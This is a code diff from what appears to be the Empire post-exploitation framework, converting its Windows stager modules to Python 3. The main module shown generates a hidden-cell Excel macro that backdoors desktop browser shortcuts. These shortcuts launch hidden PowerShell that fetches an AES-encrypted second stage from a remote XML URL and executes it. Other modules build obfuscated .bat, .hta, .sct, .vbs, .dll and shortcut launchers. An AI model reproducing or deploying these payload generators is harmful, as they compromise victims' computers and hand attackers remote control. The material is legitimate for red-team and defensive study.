67 'Description' : 'User-agent string to use for the staging request (default, none, or other) (2nd stage).',
68 'Required' : False,
69 'Value' : 'default'
70 },
71 'Proxy' : {
72 'Description' : 'Proxy to use for request (default, none, or other) (2nd stage).',
73 'Required' : False,
74 'Value' : 'default'
75 },
76 'StagerRetries' : {
77 'Description' : 'Times for the stager to retry connecting (2nd stage).',
78 'Required' : False,
79 'Value' : '0'
80 },
81 'ProxyCreds' : {
82 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other) (2nd stage).',
83 'Required' : False,
84 'Value' : 'default'
34 'Listener': {
35 'Description': 'Listener to generate stager for.',
36 'Required': True,
37 'Value': ''
38 },
39 'Language': {
40 'Description': 'Language of the launcher to generate.',
41 'Required': True,
42 'Value': 'powershell'
43 },
44 'TargetEXEs': {
45 'Description': 'Will backdoor .lnk files pointing to selected executables (do not include .exe extension), enter a comma seperated list of target exe names - ex. iexplore,firefox,chrome',
46 'Required': True,
47 'Value': 'iexplore,firefox,chrome'
48 },
49 'XmlUrl': {
50 'Description': 'remotely-accessible URL to access the XML containing launcher code. Please try and keep this URL short, as it must fit in the given 1024 chars for args along with all other logic - default options typically allow for 100-200 chars of extra space, depending on targeted exe',
51 'Required': True,
52 'Value': "http://" + helpers.lhost() + "/" + xmlVar + ".xml"
53 },
54 'XlsOutFile': {
55 'Description': 'XLS (incompatible with xlsx/xlsm) file to output stager payload to. If document does not exist / cannot be found a new file will be created',
56 'Required': True,
57 'Value': '/tmp/default.xls'
58 },
59 'OutFile': {
60 'Description': 'File to output macro to, otherwise displayed on the screen.',
61 'Required': False,
62 'Value': '/tmp/macro'
63 },
64 'XmlOutFile': {
65 'Description': 'Local path + file to output xml to.',
66 'Required': True,
67 'Value': '/var/www/html/' + xmlVar + '.xml'
68 },
69 'KillDate': {
70 'Description': 'Date after which the initial powershell stub will no longer attempt to download and execute code, set this for the end of your campaign / engagement. Format mm/dd/yyyy',
71 'Required': True,
72 'Value': datetime.datetime.now().strftime("%m/%d/%Y")
73 },
74 'UserAgent': {
75 'Description': 'User-agent string to use for the staging request (default, none, or other) (2nd stage).',
76 'Required': False,
77 'Value': 'default'
78 },
79 'Proxy': {
80 'Description': 'Proxy to use for request (default, none, or other) (2nd stage).',
81 'Required': False,
82 'Value': 'default'
83 },
84 'StagerRetries': {
85 'Description': 'Times for the stager to retry connecting (2nd stage).',
86 'Required': False,
87 'Value': '0'
88 },
89 'ProxyCreds': {
90 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other) (2nd stage).',
91 'Required': False,
92 'Value': 'default'
8593 }
86
94
8795 }
88
96
8997 # save off a copy of the mainMenu object to access external functionality
9098 # like listeners/agent handlers/etc.
9199 self.mainMenu = mainMenu
96104 if option in self.options:
97105 self.options[option]['Value'] = value
98106
99 #function to convert row + col coords into excel cells (ex. 30,40 -> AE40)
107 # function to convert row + col coords into excel cells (ex. 30,40 -> AE40)
100108 @staticmethod
101 def coordsToCell(row,col):
102 coords = ""
103 if((col) // 26 > 0):
104 coords = coords + chr(((col)//26)+64)
105 if((col + 1) % 26 > 0):
106 coords = coords + chr(((col + 1) % 26)+64)
107 else:
108 coords = coords + 'Z'
109 coords = coords + str(row+1)
110 return coords
111
109 def coordsToCell(row, col):
110 coords = ""
111 if ((col) // 26 > 0):
112 coords = coords + chr(((col) // 26) + 64)
113 if ((col + 1) % 26 > 0):
114 coords = coords + chr(((col + 1) % 26) + 64)
115 else:
116 coords = coords + 'Z'
117 coords = coords + str(row + 1)
118 return coords
119
112120 def generate(self):
113 # extract all of our options
114 language = self.options['Language']['Value']
115 listenerName = self.options['Listener']['Value']
116 userAgent = self.options['UserAgent']['Value']
117 proxy = self.options['Proxy']['Value']
118 proxyCreds = self.options['ProxyCreds']['Value']
119 stagerRetries = self.options['StagerRetries']['Value']
120 targetEXE = self.options['TargetEXEs']['Value']
121 xlsOut = self.options['XlsOutFile']['Value']
122 XmlPath = self.options['XmlUrl']['Value']
123 XmlOut = self.options['XmlOutFile']['Value']
124 #catching common ways date is incorrectly entered
125 killDate = self.options['KillDate']['Value'].replace('\\','/').replace(' ','').split('/')
126 if(int(killDate[2]) < 100):
127 killDate[2] = int(killDate[2]) + 2000
128 targetEXE = targetEXE.split(',')
129 targetEXE = filter(None,targetEXE)
130
131 #set vars to random alphabetical / alphanumeric values
132 shellVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
133 lnkVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
134 fsoVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
135 folderVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
136 fileVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
137 encKey = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation, random.randint(16,16)))
138 #avoiding potential escape characters in our decryption key for the second stage payload
139 for ch in ["\"","'","`"]:
140 if ch in encKey:
141 encKey = encKey.replace(ch,random.choice(string.ascii_lowercase))
142 encIV = random.randint(1,240)
143
121 # extract all of our options
122 language = self.options['Language']['Value']
123 listenerName = self.options['Listener']['Value']
124 userAgent = self.options['UserAgent']['Value']
125 proxy = self.options['Proxy']['Value']
126 proxyCreds = self.options['ProxyCreds']['Value']
127 stagerRetries = self.options['StagerRetries']['Value']
128 targetEXE = self.options['TargetEXEs']['Value']
129 xlsOut = self.options['XlsOutFile']['Value']
130 XmlPath = self.options['XmlUrl']['Value']
131 XmlOut = self.options['XmlOutFile']['Value']
132 # catching common ways date is incorrectly entered
133 killDate = self.options['KillDate']['Value'].replace('\\', '/').replace(' ', '').split('/')
134 if (int(killDate[2]) < 100):
135 killDate[2] = int(killDate[2]) + 2000
136 targetEXE = targetEXE.split(',')
137 targetEXE = [_f for _f in targetEXE if _f]
138
139 # set vars to random alphabetical / alphanumeric values
140 shellVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
141 lnkVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
142 fsoVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
143 folderVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
144 fileVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9)))
145 encKey = ''.join(
146 random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation,
147 random.randint(16, 16)))
148 # avoiding potential escape characters in our decryption key for the second stage payload
149 for ch in ["\"", "'", "`"]:
150 if ch in encKey:
151 encKey = encKey.replace(ch, random.choice(string.ascii_lowercase))
152 encIV = random.randint(1, 240)
153
144154 # generate the launcher
145 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
146 launcher = launcher.replace("\"","'")
147
155 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=False,
156 userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds,
157 stagerRetries=stagerRetries)
158 launcher = launcher.replace("\"", "'")
159
148160 if launcher == "":
149 print helpers.color("[!] Error in launcher command generation.")
161 print(helpers.color("[!] Error in launcher command generation."))
150162 return ""
151163 else:
152 try:
153 reader = xlrd.open_workbook(xlsOut)
154 workBook = copy(reader)
155 activeSheet = workBook.get_sheet(0)
156 except (IOError, OSError):
157 workBook = Workbook()
158 activeSheet = workBook.add_sheet('Sheet1')
159
160 #sets initial coords for writing data to
161 inputRow = random.randint(50,70)
162 inputCol = random.randint(40,60)
163
164 #build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro
164 try:
165 reader = xlrd.open_workbook(xlsOut)
166 workBook = copy(reader)
167 activeSheet = workBook.get_sheet(0)
168 except (IOError, OSError):
169 workBook = Workbook()
170 activeSheet = workBook.add_sheet('Sheet1')
171
172 # sets initial coords for writing data to
173 inputRow = random.randint(50, 70)
174 inputCol = random.randint(40, 60)
175
176 # build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro
165177 macro = "Sub Auto_Close()\n"
166
167 activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Wscript.shell"))
168 macro += "Set " + shellVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n"
169 inputCol = inputCol + random.randint(1,4)
170
171 activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Scripting.FileSystemObject"))
172 macro += "Set "+ fsoVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n"
173 inputCol = inputCol + random.randint(1,4)
174
175 activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("desktop"))
176 macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value))\n"
177 macro += "For Each " + fileVar + " In " + folderVar + ".Files\n"
178
179 macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n"
180 macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + ".SPecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value) & \"\\\" & " + fileVar + ".name)\n"
181 inputCol = inputCol + random.randint(1,4)
182
183 macro += "If("
184 for i, item in enumerate(targetEXE):
185 if i:
186 macro += (' or ')
187 activeSheet.write(inputRow,inputCol,targetEXE[i].strip().lower()+".")
188 macro += "InStr(Lcase(" + lnkVar + ".targetPath), activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)"
189 inputCol = inputCol + random.randint(1,4)
190 macro += ") Then\n"
191 #launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop. After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process. This code is then executed to gain a full agent on the remote system.
192 launchString1 = "hidden -nop -c \"Start(\'"
193 launchString2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U "
194 launchString3 = ") -le " + str(killDate[2]) + str(killDate[0]) + str(killDate[1]) + "){$b.Load(\'"
195 launchString4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(encIV) + ".." + str(encIV + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('"
196 launchString5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\""
197
198 #part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it
199 macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n"
200 launchString1 = helpers.randomize_capitalization(launchString1)
201 launchString2 = helpers.randomize_capitalization(launchString2)
202 launchString3 = helpers.randomize_capitalization(launchString3)
203 launchString4 = helpers.randomize_capitalization(launchString4)
204 launchString5 = helpers.randomize_capitalization(launchString5)
205 launchStringSum = launchString2 + "'%Y%m%d'" + launchString3 + XmlPath + launchString4 + encKey + launchString5
206
207 activeSheet.write(inputRow,inputCol,launchString1)
208 launch1Coords = self.coordsToCell(inputRow,inputCol)
209 inputCol = inputCol + random.randint(1,4)
210 activeSheet.write(inputRow,inputCol,launchStringSum)
211 launchSumCoords = self.coordsToCell(inputRow,inputCol)
212 inputCol = inputCol + random.randint(1,4)
213
214 macro += lnkVar + ".arguments = \"-w \" & activeSheet.Range(\""+ launch1Coords +"\").Value & " + lnkVar + ".targetPath" + " & \"'\" & activeSheet.Range(\""+ launchSumCoords +"\").Value" + "\n"
215
216 activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization(":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"))
217 macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value\n"
218 inputCol = inputCol + random.randint(1,4)
219 #macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors
220 macro += "if(Len(" + lnkVar + ".arguments) < 1023) Then\n"
221 macro += lnkVar + ".save\n"
222 macro += "end if\n"
223 macro += "end if\n"
224 macro += "end if\n"
225 macro += "next " + fileVar + "\n"
226 macro += "End Sub\n"
227 activeSheet.row(inputRow).hidden = True
228 print helpers.color("\nWriting xls...\n", color="blue")
229 workBook.save(xlsOut)
230 print helpers.color("xls written to " + xlsOut + " please remember to add macro code to xls prior to use\n\n", color="green")
231
232
233 #encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut
234 ivBuf = ""
235 for z in range(0,16):
236 ivBuf = ivBuf + chr(encIV + z)
237 encryptor = AES.new(unicode(encKey, "utf-8"), AES.MODE_CBC, ivBuf)
238 launcher = unicode(launcher,"utf-8")
239 #pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space
240 padding = 16-(len(launcher) % 16)
241 if padding == 0:
242 launcher = launcher + ('\x00'*16)
243 else:
244 launcher = launcher + (chr(padding)*padding)
245
246 cipher_text = encryptor.encrypt(launcher)
247 cipher_text = helpers.encode_base64(ivBuf+cipher_text)
248
249 #write XML to disk
250 print helpers.color("Writing xml...\n", color="blue")
251 fileWrite = open(XmlOut,"w")
252 fileWrite.write("<?xml version=\"1.0\"?>\n")
253 fileWrite.write("<main>")
254 fileWrite.write(cipher_text)
255 fileWrite.write("</main>\n")
256 fileWrite.close()
257 print helpers.color("xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n", color="green")
258
178
179 activeSheet.write(inputRow, inputCol, helpers.randomize_capitalization("Wscript.shell"))
180 macro += "Set " + shellVar + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(inputRow,
181 inputCol) + "\").value)\n"
182 inputCol = inputCol + random.randint(1, 4)
183
184 activeSheet.write(inputRow, inputCol, helpers.randomize_capitalization("Scripting.FileSystemObject"))
185 macro += "Set " + fsoVar + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(inputRow,
186 inputCol) + "\").value)\n"
187 inputCol = inputCol + random.randint(1, 4)
188
189 activeSheet.write(inputRow, inputCol, helpers.randomize_capitalization("desktop"))
190 macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(activeSheet.Range(\"" + self.coordsToCell(
191 inputRow, inputCol) + "\").value))\n"
192 macro += "For Each " + fileVar + " In " + folderVar + ".Files\n"
193
194 macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n"
195 macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + ".SPecialFolders(activeSheet.Range(\"" + self.coordsToCell(
196 inputRow, inputCol) + "\").value) & \"\\\" & " + fileVar + ".name)\n"
197 inputCol = inputCol + random.randint(1, 4)
198
199 macro += "If("
200 for i, item in enumerate(targetEXE):
201 if i:
202 macro += (' or ')
203 activeSheet.write(inputRow, inputCol, targetEXE[i].strip().lower() + ".")
204 macro += "InStr(Lcase(" + lnkVar + ".targetPath), activeSheet.Range(\"" + self.coordsToCell(inputRow,
205 inputCol) + "\").value)"
206 inputCol = inputCol + random.randint(1, 4)
207 macro += ") Then\n"
208 # launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop. After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process. This code is then executed to gain a full agent on the remote system.
209 launchString1 = "hidden -nop -c \"Start(\'"
210 launchString2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U "
211 launchString3 = ") -le " + str(killDate[2]) + str(killDate[0]) + str(killDate[1]) + "){$b.Load(\'"
212 launchString4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(encIV) + ".." + str(
213 encIV + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('"
214 launchString5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\""
215
216 # part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it
217 macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n"
218 launchString1 = helpers.randomize_capitalization(launchString1)
219 launchString2 = helpers.randomize_capitalization(launchString2)
220 launchString3 = helpers.randomize_capitalization(launchString3)
221 launchString4 = helpers.randomize_capitalization(launchString4)
222 launchString5 = helpers.randomize_capitalization(launchString5)
223 launchStringSum = launchString2 + "'%Y%m%d'" + launchString3 + XmlPath + launchString4 + encKey + launchString5
224
225 activeSheet.write(inputRow, inputCol, launchString1)
226 launch1Coords = self.coordsToCell(inputRow, inputCol)
227 inputCol = inputCol + random.randint(1, 4)
228 activeSheet.write(inputRow, inputCol, launchStringSum)
229 launchSumCoords = self.coordsToCell(inputRow, inputCol)
230 inputCol = inputCol + random.randint(1, 4)
231
232 macro += lnkVar + ".arguments = \"-w \" & activeSheet.Range(\"" + launch1Coords + "\").Value & " + lnkVar + ".targetPath" + " & \"'\" & activeSheet.Range(\"" + launchSumCoords + "\").Value" + "\n"
233
234 activeSheet.write(inputRow, inputCol, helpers.randomize_capitalization(
235 ":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"))
236 macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\"" + self.coordsToCell(
237 inputRow, inputCol) + "\").value\n"
238 inputCol = inputCol + random.randint(1, 4)
239 # macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors
240 macro += "if(Len(" + lnkVar + ".arguments) < 1023) Then\n"
241 macro += lnkVar + ".save\n"
242 macro += "end if\n"
243 macro += "end if\n"
244 macro += "end if\n"
245 macro += "next " + fileVar + "\n"
246 macro += "End Sub\n"
247 activeSheet.row(inputRow).hidden = True
248 print(helpers.color("\nWriting xls...\n", color="blue"))
249 workBook.save(xlsOut)
250 print(helpers.color(
251 "xls written to " + xlsOut + " please remember to add macro code to xls prior to use\n\n",
252 color="green"))
253
254 # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut
255 ivBuf = ""
256 for z in range(0, 16):
257 ivBuf = ivBuf + chr(encIV + z)
258 encryptor = AES.new(str(encKey, "utf-8"), AES.MODE_CBC, ivBuf)
259 launcher = str(launcher, "utf-8")
260 # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space
261 padding = 16 - (len(launcher) % 16)
262 if padding == 0:
263 launcher = launcher + ('\x00' * 16)
264 else:
265 launcher = launcher + (chr(padding) * padding)
266
267 cipher_text = encryptor.encrypt(launcher)
268 cipher_text = helpers.encode_base64(ivBuf + cipher_text)
269
270 # write XML to disk
271 print(helpers.color("Writing xml...\n", color="blue"))
272 fileWrite = open(XmlOut, "w")
273 fileWrite.write("<?xml version=\"1.0\"?>\n")
274 fileWrite.write("<main>")
275 fileWrite.write(cipher_text)
276 fileWrite.write("</main>\n")
277 fileWrite.close()
278 print(helpers.color(
279 "xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n",
280 color="green"))
281
259282 return macro
+4
-2
lib/stagers/windows/bunny.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
9597
9698
9799 if launcher == "":
98 print helpers.color("[!] Error in launcher command generation.")
100 print(helpers.color("[!] Error in launcher command generation."))
99101 return ""
100102 else:
101103 enc = launcher.split(" ")[-1]
+6
-4
lib/stagers/windows/csharp_exe.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13 import shutil
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
99101
100102 if not self.mainMenu.listeners.is_listener_valid(listenerName):
101103 # not a valid listener, return nothing for the script
102 print helpers.color("[!] Invalid listener: " + listenerName)
104 print(helpers.color("[!] Invalid listener: " + listenerName))
103105 return ""
104106 else:
105107 obfuscateScript = False
107109 obfuscateScript = True
108110
109111 if obfuscateScript and "launcher" in obfuscateCommand.lower():
110 print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the C# stager.")
112 print(helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the C# stager."))
111113 return ""
112114 # generate the PowerShell one-liner with all of the proper options set
113115 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
114116
115117 if launcher == "":
116 print helpers.color("[!] Error in launcher generation.")
118 print(helpers.color("[!] Error in launcher generation."))
117119 return ""
118120 else:
119121 launcherCode = launcher.split(" ")[-1]
+6
-4
lib/stagers/windows/dll.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
103105
104106 if not self.mainMenu.listeners.is_listener_valid(listenerName):
105107 # not a valid listener, return nothing for the script
106 print helpers.color("[!] Invalid listener: " + listenerName)
108 print(helpers.color("[!] Invalid listener: " + listenerName))
107109 return ""
108110 else:
109111 obfuscateScript = False
111113 obfuscateScript = True
112114
113115 if obfuscateScript and "launcher" in obfuscateCommand.lower():
114 print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager.")
116 print(helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager."))
115117 return ""
116118 # generate the PowerShell one-liner with all of the proper options set
117119 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
118120
119121 if launcher == "":
120 print helpers.color("[!] Error in launcher generation.")
122 print(helpers.color("[!] Error in launcher generation."))
121123 return ""
122124 else:
123125 launcherCode = launcher.split(" ")[-1]
+5
-3
lib/stagers/windows/ducky.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
5355 'ObfuscateCommand' : {
5456 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
5557 'Required' : False,
56 'Value' : r'Token\All\1,Launcher\STDIN++\12467'
58 'Value' : r'Token\All\1'
5759 },
5860 'UserAgent' : {
5961 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
105107 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
106108
107109 if launcher == "" or interpreter == "":
108 print helpers.color("[!] Error in launcher command generation.")
110 print(helpers.color("[!] Error in launcher command generation."))
109111 return ""
110112 else:
111113 if moduleName.lower() == 'meterpreter':
+5
-3
lib/stagers/windows/hta.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
5254 'ObfuscateCommand' : {
5355 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
5456 'Required' : False,
55 'Value' : r'Token\All\1,Launcher\STDIN++\12467'
57 'Value' : r'Token\All\1'
5658 },
5759 'UserAgent' : {
5860 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
107109 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
108110
109111 if launcher == "":
110 print helpers.color("[!] Error in launcher command generation.")
112 print(helpers.color("[!] Error in launcher command generation."))
111113 return ""
112114 else:
113115 code = "<html><head><script>var c= '"
+8
-6
lib/stagers/windows/launcher_bat.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
5254 'ObfuscateCommand' : {
5355 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
5456 'Required' : False,
55 'Value' : r'Token\All\1,Launcher\STDIN++\12467'
57 'Value' : r'Token\All\1'
5658 },
5759 'UserAgent' : {
5860 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
99101 if obfuscate.lower() == "true":
100102 obfuscateScript = True
101103
102 # generate the launcher code
103 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
104 # generate the launcher code including escapes for % characters needed for .bat files
105 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries).replace("%", "%%")
104106
105107 if launcher == "":
106 print helpers.color("[!] Error in launcher command generation.")
108 print(helpers.color("[!] Error in launcher command generation."))
107109 return ""
108110 else:
109111 code = "@echo off\n"
111113
112114 if delete.lower() == "true":
113115 # code that causes the .bat to delete itself
114 code += "start /b \"\" cmd /c del \"%~f0\"&exit /b\n"
116 code += "start /b \"\" cmd /c del \"%%~f0\"&exit /b\n"
115117
116118 return code
+4
-2
lib/stagers/windows/launcher_lnk.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13 from lib.common import pylnk
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
119121 launcher = launcher.replace('powershell.exe ','',1)
120122
121123 if launcher == "":
122 print helpers.color("[!] Error in launcher command generation.")
124 print(helpers.color("[!] Error in launcher command generation."))
123125 return ""
124126 else:
125127 link = pylnk.for_file(powershellPath,launcher,lnkName,lnkIcon,lnkComment)
+5
-3
lib/stagers/windows/launcher_sct.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
4749 'ObfuscateCommand' : {
4850 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
4951 'Required' : False,
50 'Value' : r'Token\All\1,Launcher\STDIN++\12467'
52 'Value' : r'Token\All\1'
5153 },
5254 'OutFile': {
5355 'Description': 'File to output SCT to, otherwise displayed on the screen.',
107109 listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
108110
109111 if launcher == "":
110 print helpers.color("[!] Error in launcher command generation.")
112 print(helpers.color("[!] Error in launcher command generation."))
111113 return ""
112114 else:
113115 code = "<?XML version=\"1.0\"?>\n"
+6
-4
lib/stagers/windows/launcher_vbs.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
4749 'ObfuscateCommand' : {
4850 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
4951 'Required' : False,
50 'Value' : r'Token\All\1,Launcher\PS\12467'
52 'Value' : r'Token\All\1'
5153 },
5254 'UserAgent' : {
5355 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
9395 if obfuscate.lower() == "true":
9496 obfuscateScript = True
9597 if "launcher" in obfuscateCommand.lower() and "ps" not in obfuscateCommand.lower():
96 print helpers.color("[!] Only 'PS' Invoke-Obfuscation Launcher is currently support for launcher_vbs")
98 print(helpers.color("[!] Only 'PS' Invoke-Obfuscation Launcher is currently support for launcher_vbs"))
9799 return ""
98100
99101 # generate the launcher code
100102 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
101103
102104 if launcher == "":
103 print helpers.color("[!] Error in launcher command generation.")
